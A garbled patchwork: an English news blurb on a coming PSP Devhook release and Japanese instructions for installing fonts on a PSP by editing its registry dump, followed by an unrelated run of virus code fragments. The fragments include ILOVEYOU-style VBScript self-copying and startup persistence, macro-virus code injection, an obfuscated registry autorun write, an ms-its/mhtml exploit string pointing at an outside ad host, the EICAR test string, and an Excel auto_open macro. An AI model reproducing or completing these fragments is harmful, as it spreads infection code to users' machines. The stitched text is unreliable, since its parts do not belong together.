Great news! We've been notified that Booster is hard at work on a new release of Devhook, we might get lucky next week but a confirmed release date is not available yet. The grand plan is to release Devhook one day as custom firmware, but it's unclear when this will happen, the next release should feature firmware v2.8 support only. It's good to hear Booster is alive and well
・PCとPSP(メモステ)を繋いで下さい。 ・FHacker.exeを起動してください。 ・Firmware versionを2.60にしてください。 ・Disk driveをメモステにしてください。 ・Typefaceの右の...をクリックして使いたいフォントファイルを選択してください。 ・Add fontを押して好きな名前をつけておいてください。(半角英数字のほうがいいかも) ・左のリストから、使うフォントを選択して、Install font to the PSPを押してください。 ・しばらく待つと、確認みたいなのが出てくるからOK押すと、フォントファイルの作成完了です。
・TIFF Font Hackをメモリースティックに入れてPSPで起動させます。(フォト→FONT HACK) ・起動したら、×を押してレジストリをダンプしてください。 ・メモリースティックとPCを繋いで、ルートに生成されたsystem.dreg,system.ireg を、parsedreg3aの中に入れて、バイナリエディタでsystem.dregを開いてください。 ・0002FC0の行にあるflash0:/fontをms0:/fontmodに書き換えて保存してください。 ・parsedreg3aの中にあるfixupdreg3.exeを実行してください。 ・その後、system.dreg,system.iregをメモステのルートに戻してください。 ・PSPで、TIFF Font Hackを起動させ、○を押してください。以上で完了です。 ※注意:メモステのアクセスランプがチカチカしている間は 絶対に電源を切ったりメモステを抜いたりしないようにしてください。 PSPのシステムソフトウェアが壊れて起動できなる可能性があります。
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR")) lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) ms-its:mhtml:file://c:\ kak.hta';ken=wd+'START kill -9 xz/tSaBh0 Sub auto_open() Application.OnSheetActivate = "check_files" End Sub Sub check_files() c$ = Application.StartupPath m$ = Dir(c$ & "\" & "PERSONAL.XLS") If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0 If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w * 10 End Sub